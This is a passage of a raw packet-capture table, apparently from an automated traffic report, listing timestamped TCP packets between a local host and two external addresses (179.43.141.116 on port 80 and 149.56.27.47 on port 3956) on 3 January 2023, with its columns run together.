                                                                              Jan 3, 2023 08:16:06.688487053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688539028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688560009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688591003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688591003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688643932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688647985 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688694954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688746929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688746929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688798904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688802004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688851118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688890934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.688903093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688955069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.688962936 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689007044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689058065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689062119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689110041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689153910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689153910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689162016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689213991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689250946 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689265013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689305067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689317942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689371109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689413071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689421892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689474106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689503908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689503908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689539909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689593077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689599991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689645052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689673901 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689697027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689749002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689757109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689757109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689800978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689852953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689881086 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689907074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689960003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.689990044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.689990044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690011978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690063953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690105915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690115929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690154076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690167904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690220118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690258980 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690272093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690324068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690330982 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690375090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690427065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690431118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690431118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690479040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690526962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690531969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690576077 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690587044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690624952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690643072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690674067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690696001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690747976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690789938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690799952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690851927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690853119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690901995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.690903902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690956116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.690960884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691006899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691051006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691059113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691111088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691140890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691163063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691215038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691222906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691222906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691277027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691320896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691322088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.691474915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.691474915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.739859104 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:06.740004063 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:06.740380049 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:06.768990993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.769006014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.769036055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.769062042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.769161940 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.769161940 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.769202948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.769234896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.769234896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.769455910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.825449944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.825532913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.825546980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.825557947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.825568914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.825579882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.825730085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.825731039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.825731039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.825731039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.825831890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.834770918 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:06.890367031 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:06.984263897 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:07.032284021 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:07.045541048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.045821905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.090702057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.090818882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.090883970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.090991020 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.133306026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.133326054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.133363008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.133378029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.133512974 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.133512974 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.190480947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190562010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190623045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190680027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190727949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.190727949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.190738916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190792084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.190795898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190851927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190906048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.190903902 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.190903902 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.190964937 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.191071987 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.191149950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227111101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227200031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227255106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227307081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227333069 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227360010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227387905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227387905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227412939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227466106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227511883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227519035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227561951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227561951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227576017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227628946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227682114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227734089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227755070 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227786064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227823019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227823019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227838993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227891922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.227935076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.227945089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.228081942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.228137016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.278526068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278609991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278669119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278701067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.278724909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278784037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278812885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.278812885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.278836966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278891087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278912067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.278944969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.278990030 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.278997898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279043913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279055119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279109001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279115915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279162884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279215097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279254913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279267073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279320002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279328108 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279328108 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279371977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279424906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279428005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279481888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279532909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279584885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279587030 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279637098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279640913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279690027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279690027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279742956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279748917 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279794931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279829979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279848099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279900074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.279937983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.279953003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280005932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280036926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280057907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280109882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280145884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280147076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280162096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280215025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280267000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280271053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280365944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280366898 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280366898 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280432940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280486107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280495882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280539036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280545950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280591011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280643940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280670881 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280695915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280720949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280720949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280749083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280802965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280847073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280854940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280910015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.280946970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.280961990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281014919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281021118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281021118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281066895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281116009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281120062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281172991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281224966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281276941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281279087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281328917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281333923 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281380892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281382084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281441927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281455040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281539917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281575918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281619072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281675100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281702042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281728983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.281769991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281841040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281841993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.281936884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.329524040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329591990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329705000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329755068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329776049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.329776049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.329802990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329849005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329891920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.329895020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329893112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.329942942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.329989910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330028057 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330034971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330081940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330084085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330127954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330144882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330173969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330193043 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330219984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330267906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330267906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330315113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330331087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330360889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330408096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330454111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330466032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330499887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330545902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330564022 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330591917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330637932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330638885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330638885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330684900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330686092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330730915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330777884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330782890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330823898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330869913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330872059 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330872059 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330915928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330961943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.330970049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.330970049 CET4986980192.168.11.20179.43.141.116
